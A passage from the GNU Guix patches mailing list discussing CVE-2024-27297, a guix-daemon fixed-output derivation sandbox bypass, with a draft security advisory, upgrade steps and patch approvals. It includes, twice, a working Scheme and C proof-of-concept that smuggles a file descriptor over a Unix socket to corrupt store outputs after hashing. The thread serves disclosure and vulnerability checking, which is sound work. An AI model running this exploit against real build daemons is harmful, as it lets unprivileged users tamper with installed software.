/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv failed View build log at '/var/log/guix/drvs/gp/h10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv.gz'. guix build: error: build of `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed --8<---------------cut here---------------end--------------->8--- At this point, /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261 is corrupt: --8<---------------cut here---------------start------------->8--- $ cat /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261 This file has been corrupted! --8<---------------cut here---------------end--------------->8--- You can remove those corrupt test files by running: guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd* You can find corrupt files in your store by running: guix gc --verify=contents This is expensive because it reads every single file under /gnu/store and check the hash of each store item against that recorded in /var/guix/db/db.sqlite. It should flag all the /gnu/store/…-derivation-that-exfiltrates-fd* outputs. Ludo’. [-- Attachment #1.2: The reproducer --] [-- Type: text/plain, Size: 10525 bytes --] ;; Checking for CVE-2024-27297. ;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>. (use-modules (guix) (guix modules) (guix profiles) (gnu packages) (gnu packages gnupg) (gcrypt hash) ((rnrs bytevectors) #:select (string->utf8))) (define (compiled-c-code name source) (define build-profile (profile (content (specifications->manifest '("gcc-toolchain"))))) (define build (with-extensions (list guile-gcrypt) (with-imported-modules (source-module-closure '((guix build utils) (guix profiles))) #~(begin (use-modules (guix build utils) (guix profiles)) (load-profile #+build-profile) (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output))))) (computed-file name build)) (define sender-source (plain-file "sender.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { setvbuf(stdout, NULL, _IOLBF, 0); int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up an abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { printf(\"attempting connection...\\n\"); res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0 && errno != ECONNREFUSED) perror(\"connect\"); if (errno != ECONNREFUSED) break; usleep(500000); } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = \"\"; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror(\"sendmsg\"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); }")) (define receiver-source (mixed-text-file "receiver.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <sys/inotify.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0) perror(\"bind\"); res = listen(sock, 1); if (res < 0) perror(\"listen\"); while (1) { setvbuf(stdout, NULL, _IOLBF, 0); printf(\"accepting connections...\\n\"); int a = accept(sock, 0, 0); if (a < 0) perror(\"accept\"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf(\"preparing our hand...\\n\"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, \"hello, world\\n\", strlen(\"hello, world\\n\")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, \"/proc/self/fd/%d\", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the \"flat\" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! static const char content[] = \"This file has been corrupted!\\n\"; write(res, content, strlen (content)); close(res); printf(\"swaptrick finished, now to wait..\\n\"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } }")) (define nonce (string-append "-" (number->string (car (gettimeofday)) 16) "-" (number->string (getpid)))) (define original-text "This is the original text, before corruption.") (define derivation-that-exfiltrates-fd (computed-file (string-append "derivation-that-exfiltrates-fd" nonce) (with-imported-modules '((guix build utils)) #~(begin (use-modules (guix build utils)) (invoke #+(compiled-c-code "sender" sender-source)) (call-with-output-file #$output (lambda (port) (display #$original-text port))))) #:options `(#:hash-algo sha256 #:hash ,(sha256 (string->utf8 original-text))))) (define derivation-that-grabs-fd (computed-file (string-append "derivation-that-grabs-fd" nonce) #~(begin (open-output-file #$output) ;make sure there's an output (execl #+(compiled-c-code "receiver" receiver-source) "receiver")) #:options `(#:hash-algo sha256 #:hash ,(sha256 #vu8())))) (define check (computed-file "checking-for-vulnerability" #~(begin (use-modules (ice-9 textual-ports)) (mkdir #$output) ;make sure there's an output (format #t "This depends on ~a, which will grab the file descriptor and corrupt ~a.~%~%" #+derivation-that-grabs-fd #+derivation-that-exfiltrates-fd) (let ((content (call-with-input-file #+derivation-that-exfiltrates-fd get-string-all))) (format #t "Here is what we see in ~a: ~s~%~%" #+derivation-that-exfiltrates-fd content) (if (string=? content #$original-text) (format #t "Failed to corrupt ~a, \ your system is safe.~%" #+derivation-that-exfiltrates-fd) (begin (format #t "We managed to corrupt ~a, \ meaning that YOUR SYSTEM IS VULNERABLE!~%" #+derivation-that-exfiltrates-fd) (exit 1))))))) check [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 853 bytes --] ^ permalink raw reply [flat|nested] 8+ messages in thread
* [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability 2024-03-12 13:45 ` [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability Ludovic Courtès @ 2024-03-12 14:35 ` John Kehayias via Guix-patches via 2024-03-12 15:31 ` [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297) Ludovic Courtès 0 siblings, 1 reply; 8+ messages in thread From: John Kehayias via Guix-patches via @ 2024-03-12 14:35 UTC (permalink / raw) To: Ludovic Courtès Cc: Picnoir, guix-security, Théophane Hufschmitt, 69728 [-- Attachment #1: Type: text/plain, Size: 1891 bytes --] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 -----BEGIN PGP SIGNATURE----- iQJRBAEBCgA7FiEEpCB7VsJVEJ8ssxV+SZCXrl6oFdkFAmXwaBwdHGpvaG4ua2Vo YXlpYXNAcHJvdG9ubWFpbC5jb20ACgkQSZCXrl6oFdk6Fg//aEuH516qXJrKpmAc VqB1L/38z/UlbWlhT1n8HBqW5JsEd137FMw0WBeIVYVoWFuQJVaJPjtwWQNbXOfO VKFITVw41hCMBhCNQmpBu1cuzVGmxX9MP2laWeDSpDT1uswuX4HxZaPrgU7LxFHz G8wl2onDGheyN+/kaw/h6isv7yAI0jH+Tk8epkcyRUHCM9N1mdv3aVPcd1ZOzktW ugkzNrA+2KdZXLZm2frr0Elh9xXBNi7owi0g5BSFtsEhqgbqTcb+IwuoT+2PXPH7 bZFE3Bpp6xI38+gY1XBMEZ/+ZY/5fScScGH4hejBJiEDAFVtaNvlJDeL6hbTCAX2 MvL/wkwMv2ODmsbJ7XfI/XG90E3IKrQ83/H7GBO2sIA2rM5wCnGjXuT+NMiJuoce FnLjEamwu8lesHPSp81rpz8vEtzBywND/hhCeu0B+p6s9lbPyQKO8AMLtKCuZM94 a04XCCQDwKzcxKSiN6jF4b76kcS7kdrRS8qHPqVGzmwqkRJJVdCMlvoO3PtuAI+J EDMQyU8FAFRqOE69Aomr056LLLwQqfWfXln6evFeznFvLEAo3SF2Yl4QW4MngLye b5rPxGy9HggI3KfexsWLJNzMTdxyZql4uO3Ye6/SKYfmCNezy+4wSUtd+8EM4LqK ZRF4fbqgZ5KjllnMH7oZjXm7b0A= =jN50 -----END PGP SIGNATURE----- Hi all, On Tue, Mar 12, 2024 at 02:45 PM, Ludovic Courtès wrote: > As promised, attached is a reproducer that I adapted from the Nix one at > <https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by > puck <https://github.com/puckipedia>. > > The program demonstrates the vulnerability using two fixed-output > derivations that must be built concurrently on the same machine. > Thanks for the reproducer and instructions. I've included the code an a brief overview of how to run and what to look for in the updated post (along with other changes noted privately). The updated post is attached. I will have some time here and there over the next few hours to make changes, but will mostly be away from my Guix machine to handle actually pushing. So, once it looks good, feel free to do that or I can do it this evening my time (in about 7-8 hours). Thanks again Ludo’ for all your work here! John [-- Attachment #2: cve-2024-27297-post.md --] [-- Type: application/octet-stream, Size: 19384 bytes --] title: Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297) author: John Kehayias tags: Security Advisory date: 2024-03-12 10:00 --- A security issue has been identified in [`guix-daemon`](https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix_002ddaemon.html) which allows for [fixed-output derivations](https://guix.gnu.org/manual/devel/en/html_node/Derivations.html#index-fixed_002doutput-derivations), such as source code tarballs or Git checkouts, to be corrupted by an unprivileged user. This could also lead to local privilege escalation. This was originally reported to Nix but also affects Guix as we share some underlying code from an older version of Nix for the `guix-daemon`. Readers only interested in making sure their Guix is up to date and no longer affected by this vulnerability can skip down to the "Upgrading" section. # Vulnerability The basic idea of the attack is to pass file descriptors through Unix sockets to allow another process to modify the derivation contents. This was first reported to Nix by jade and puckipedia with further details and a proof of concept [here](https://hackmd.io/03UGerewRcy3db44JQoWvw). Note that the proof of concept is written for Nix and has been adapted for GNU Guix below. This security advisory is registered as [CVE-2024-27297](https://www.cve.org/CVERecord?id=CVE-2024-27297) (details are also available at Nix's GitHub [security advisory](https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37)) and rated "moderate" in severity. A fixed-output [derivation](https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html) is one where the output hash is known in advance. For instance, to produce a source tarball. The GNU Guix build sandbox purposefully excludes network access (for security and to ensure we can control and reproduce the build environment), but a fixed-output derivation does have network access, for instance to download that source tarball. However, as stated, the hash of output must be known in advance, again for security (we know if the file contents would change) and reproducibility (should always have the same output). The `guix-daemon` handles the build process and writing the output to the store, as a privileged process. In the build sandbox for a fixed-output derivation, a file descriptor to its contents could be shared with another process via a Unix socket. This other process, outside of the build sandbox, can then modify the contents written to the store, changing them to something malicious or otherwise corrupting the output. While the output hash has already been determined, these changes would mean a fixed-output derivation could have contents written to the store which do not match the expected hash. This could then be used by the user or other packages as well. # Mitigation This security issue (tracked [here](https://issues.guix.gnu.org/69728) for GNU Guix) has been fixed by [two](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143) [commits](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42) by Ludovic Courtès. Users should make sure they have updated to [this second commit](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42) to be protected from this vulnerability. Upgrade instructions are in the following section. While several possible mitigation strategies were detailed in the original report, the simplest fix is just copy the derivation output somewhere else, deleting the original, before writing to the store. Any file descriptors will no longer point to the contents which get written to the store, so only the `guix-daemon` should be able to write to the store, as designed. This is what the Nix project used in their [own fix](https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9). This does add an additional copy/delete for each file, which may add a performance penalty for derivations with many files. A proof of concept by Ludovic, adapted from the one in the original Nix report, is available at the end of this post. One can run this code with ```sh guix build -f fixed-output-derivation-corruption.scm -M4 ``` This will output whether the current `guix-daemon` being used is vulnerable or not. If it is vulnerable, the output will include a line similar to ```sh We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE! ``` The corrupted file can be removed with ```sh guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd* ``` In general, corrupt files from the store can be found with ```sh guix gc --verify=contents ``` which will also include any files corrupted by through this vulnerability. Do note that this command can take a long time to complete as it checks every file under `/gnu/store`, which likely has many files. # Upgrading Due to the severity of this security advisory, we strongly recommend all users to upgrade their `guix-daemon` immediately. For a Guix System the procedure is just reconfiguring the system after a `guix pull`, either restarting `guix-daemon` or rebooting. For example, ```sh guix pull sudo guix system reconfigure /run/current-system/configuration.scm sudo herd restart guix-daemon ``` where `/run/current-system/configuration.scm` is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice. For Guix running as a package manager on other distributions, one needs to `guix pull` with `sudo`, as the `guix-daemon` runs as root, and restart the `guix-daemon` service. For example, on a system using systemd to manage services, ```sh sudo --login guix pull sudo systemctl restart guix-daemon.service ``` Note that for users with their distro's package of Guix (as opposed to having used the [install script](https://guix.gnu.org/en/manual/devel/en/html_node/Binary-Installation.html)) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions. # Conclusion One of the key features and design principles of GNU Guix is to allow unprivileged package management through a secure and reproducible [build environment](https://guix.gnu.org/en/manual/devel/en/html_node/Build-Environment-Setup.html). While every effort is made to protect the user and system from any malicious actors, it is always possible that there are flaws yet to be discovered, as has happened here. In this case, using the ingredients of how file descriptors and Unix sockets work even in the isolated build environment allowed for a security vulnerability with moderate impact. Our thanks to jade and puckipedia for the original report, and Picnoir for bringing this to the attention of the GNU Guix [security team](https://guix.gnu.org/en/security/). And a special thanks to Ludovic Courtès for a prompt fix and proof of concept. Note that there are current efforts to rewrite the `guix-daemon` in Guile by Christopher Baines. For more information and the latest news on this front, please refer to the [recent blog post](https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/) and [this message](https://lists.gnu.org/archive/html/guix-devel/2024-02/msg00253.html) on the [guix-devel](https://lists.gnu.org/mailman/listinfo/guix-devel) mailing list. ## Proof of Concept Below is code to check if a `guix-daemon` is vulnerable to this exploit. Save this file as `fixed-output-derivation-corruption.scm` and run following the instructions above, in "Mitigation." Some further details and example output can be found on [issue #69728](https://issues.guix.gnu.org/69728#5) ```scheme ;; Checking for CVE-2024-27297. ;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>. (use-modules (guix) (guix modules) (guix profiles) (gnu packages) (gnu packages gnupg) (gcrypt hash) ((rnrs bytevectors) #:select (string->utf8))) (define (compiled-c-code name source) (define build-profile (profile (content (specifications->manifest '("gcc-toolchain"))))) (define build (with-extensions (list guile-gcrypt) (with-imported-modules (source-module-closure '((guix build utils) (guix profiles))) #~(begin (use-modules (guix build utils) (guix profiles)) (load-profile #+build-profile) (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output))))) (computed-file name build)) (define sender-source (plain-file "sender.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> int main(int argc, char **argv) { setvbuf(stdout, NULL, _IOLBF, 0); int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Set up an abstract domain socket path to connect to. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); // Now try to connect, To ensure we work no matter what order we are // executed in, just busyloop here. int res = -1; while (res < 0) { printf(\"attempting connection...\\n\"); res = connect(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0 && errno != ECONNREFUSED) perror(\"connect\"); if (errno != ECONNREFUSED) break; usleep(500000); } // Write our message header. struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Write an SCM_RIGHTS message containing the output path. struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); hdr->cmsg_len = CMSG_LEN(sizeof(int)); hdr->cmsg_level = SOL_SOCKET; hdr->cmsg_type = SCM_RIGHTS; int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640); memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); msg.msg_controllen = CMSG_SPACE(sizeof(int)); // Write a single null byte too. msg.msg_iov = malloc(sizeof(struct iovec)); msg.msg_iov[0].iov_base = \"\"; msg.msg_iov[0].iov_len = 1; msg.msg_iovlen = 1; // Send it to the othher side of this connection. res = sendmsg(sock, &msg, 0); if (res < 0) perror(\"sendmsg\"); int buf; // Wait for the server to close the socket, implying that it has // received the commmand. recv(sock, (void *)&buf, sizeof(int), 0); }")) (define receiver-source (mixed-text-file "receiver.c" " #include <sys/socket.h> #include <sys/un.h> #include <stdlib.h> #include <stddef.h> #include <stdio.h> #include <unistd.h> #include <sys/inotify.h> int main(int argc, char **argv) { int sock = socket(AF_UNIX, SOCK_STREAM, 0); // Bind to the socket. struct sockaddr_un data; data.sun_family = AF_UNIX; data.sun_path[0] = 0; strcpy(data.sun_path + 1, \"dihutenosa\"); int res = bind(sock, (const struct sockaddr *)&data, offsetof(struct sockaddr_un, sun_path) + strlen(\"dihutenosa\") + 1); if (res < 0) perror(\"bind\"); res = listen(sock, 1); if (res < 0) perror(\"listen\"); while (1) { setvbuf(stdout, NULL, _IOLBF, 0); printf(\"accepting connections...\\n\"); int a = accept(sock, 0, 0); if (a < 0) perror(\"accept\"); struct msghdr msg = {0}; msg.msg_control = malloc(128); msg.msg_controllen = 128; // Receive the file descriptor as sent by the smuggler. recvmsg(a, &msg, 0); struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); while (hdr) { if (hdr->cmsg_level == SOL_SOCKET && hdr->cmsg_type == SCM_RIGHTS) { int res; // Grab the copy of the file descriptor. memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int)); printf(\"preparing our hand...\\n\"); ftruncate(res, 0); // Write the expected contents to the file, tricking Nix // into accepting it as matching the fixed-output hash. write(res, \"hello, world\\n\", strlen(\"hello, world\\n\")); // But wait, the file is bigger than this! What could // this code hide? // First, we do a bit of a hack to get a path for the // file descriptor we received. This is necessary because // that file doesn't exist in our mount namespace! char buf[128]; sprintf(buf, \"/proc/self/fd/%d\", res); // Hook up an inotify on that file, so whenever Nix // closes the file, we get notified. int inot = inotify_init(); inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE); // Notify the smuggler that we've set everything up for // the magic trick we're about to do. close(a); // So, before we continue with this code, a trip into Nix // reveals a small flaw in fixed-output derivations. When // storing their output, Nix has to hash them twice. Once // to verify they match the \"flat\" hash of the derivation // and once more after packing the file into the NAR that // gets sent to a binary cache for others to consume. And // there's a very slight window inbetween, where we could // just swap the contents of our file. But the first hash // is still noted down, and Nix will refuse to import our // NAR file. To trick it, we need to write a reference to // a store path that the source code for the smuggler drv // references, to ensure it gets picked up. Continuing... // Wait for the next inotify event to drop: read(inot, buf, 128); // first read + CA check has just been done, Nix is about // to chown the file to root. afterwards, refscanning // happens... // Empty the file, seek to start. ftruncate(res, 0); lseek(res, 0, SEEK_SET); // We swap out the contents! static const char content[] = \"This file has been corrupted!\\n\"; write(res, content, strlen (content)); close(res); printf(\"swaptrick finished, now to wait..\\n\"); return 0; } hdr = CMSG_NXTHDR(&msg, hdr); } close(a); } }")) (define nonce (string-append "-" (number->string (car (gettimeofday)) 16) "-" (number->string (getpid)))) (define original-text "This is the original text, before corruption.") (define derivation-that-exfiltrates-fd (computed-file (string-append "derivation-that-exfiltrates-fd" nonce) (with-imported-modules '((guix build utils)) #~(begin (use-modules (guix build utils)) (invoke #+(compiled-c-code "sender" sender-source)) (call-with-output-file #$output (lambda (port) (display #$original-text port))))) #:options `(#:hash-algo sha256 #:hash ,(sha256 (string->utf8 original-text))))) (define derivation-that-grabs-fd (computed-file (string-append "derivation-that-grabs-fd" nonce) #~(begin (open-output-file #$output) ;make sure there's an output (execl #+(compiled-c-code "receiver" receiver-source) "receiver")) #:options `(#:hash-algo sha256 #:hash ,(sha256 #vu8())))) (define check (computed-file "checking-for-vulnerability" #~(begin (use-modules (ice-9 textual-ports)) (mkdir #$output) ;make sure there's an output (format #t "This depends on ~a, which will grab the file descriptor and corrupt ~a.~%~%" #+derivation-that-grabs-fd #+derivation-that-exfiltrates-fd) (let ((content (call-with-input-file #+derivation-that-exfiltrates-fd get-string-all))) (format #t "Here is what we see in ~a: ~s~%~%" #+derivation-that-exfiltrates-fd content) (if (string=? content #$original-text) (format #t "Failed to corrupt ~a, \ your system is safe.~%" #+derivation-that-exfiltrates-fd) (begin (format #t "We managed to corrupt ~a, \ meaning that YOUR SYSTEM IS VULNERABLE!~%" #+derivation-that-exfiltrates-fd) (exit 1))))))) check ``` ### About GNU Guix [GNU Guix](https://guix.gnu.org) is a transactional package manager and an advanced distribution of the GNU system that [respects user freedom](https://www.gnu.org/distros/free-system-distribution-guidelines.html). Guix can be used on top of any system running the Hurd or the Linux kernel, or it can be used as a standalone operating system distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines. In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. When used as a standalone GNU/Linux distribution, Guix offers a declarative, stateless approach to operating system configuration management. Guix is highly customizable and hackable through [Guile](https://www.gnu.org/software/guile) programming interfaces and extensions to the [Scheme](http://schemers.org) language. ^ permalink raw reply [flat|nested] 8+ messages in thread
* [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). 2024-03-12 14:35 ` John Kehayias via Guix-patches via @ 2024-03-12 15:31 ` Ludovic Courtès 2024-03-13 10:00 ` bug#69728: " Ludovic Courtès 0 siblings, 1 reply; 8+ messages in thread From: Ludovic Courtès @ 2024-03-12 15:31 UTC (permalink / raw) To: John Kehayias; +Cc: Picnoir, 69728, Théophane Hufschmitt, guix-security Hi John, John Kehayias <john.kehayias@protonmail.com> skribis: > The updated post is attached. I will have some time here and there > over the next few hours to make changes, but will mostly be away from > my Guix machine to handle actually pushing. So, once it looks good, > feel free to do that or I can do it this evening my time (in about 7-8 > hours). LGTM, thank you! Ludo’. ^ permalink raw reply [flat|nested] 8+ messages in thread
* bug#69728: [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). 2024-03-12 15:31 ` [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297) Ludovic Courtès @ 2024-03-13 10:00 ` Ludovic Courtès 0 siblings, 0 replies; 8+ messages in thread From: Ludovic Courtès @ 2024-03-13 10:00 UTC (permalink / raw) To: John Kehayias Cc: Picnoir, guix-security, Théophane Hufschmitt, 69728-done For posterity: the blog post was published yesterday at <https://guix.gnu.org/en/blog/2024/fixed-output-derivation-sandbox-bypass-cve-2024-27297/>. Ludo’. ^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2024-03-13 10:03 UTC | newest] Thread overview: 8+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2024-03-11 10:54 [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297) Ludovic Courtès 2024-03-11 22:16 ` Ludovic Courtès 2024-03-12 0:42 ` John Kehayias via Guix-patches via 2024-03-12 13:31 ` Ludovic Courtès 2024-03-12 13:45 ` [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability Ludovic Courtès 2024-03-12 14:35 ` John Kehayias via Guix-patches via 2024-03-12 15:31 ` [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297) Ludovic Courtès 2024-03-13 10:00 ` bug#69728: " Ludovic Courtès
Code repositories for project(s) associated with this public inbox https://git.savannah.gnu.org/cgit/guix.git This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).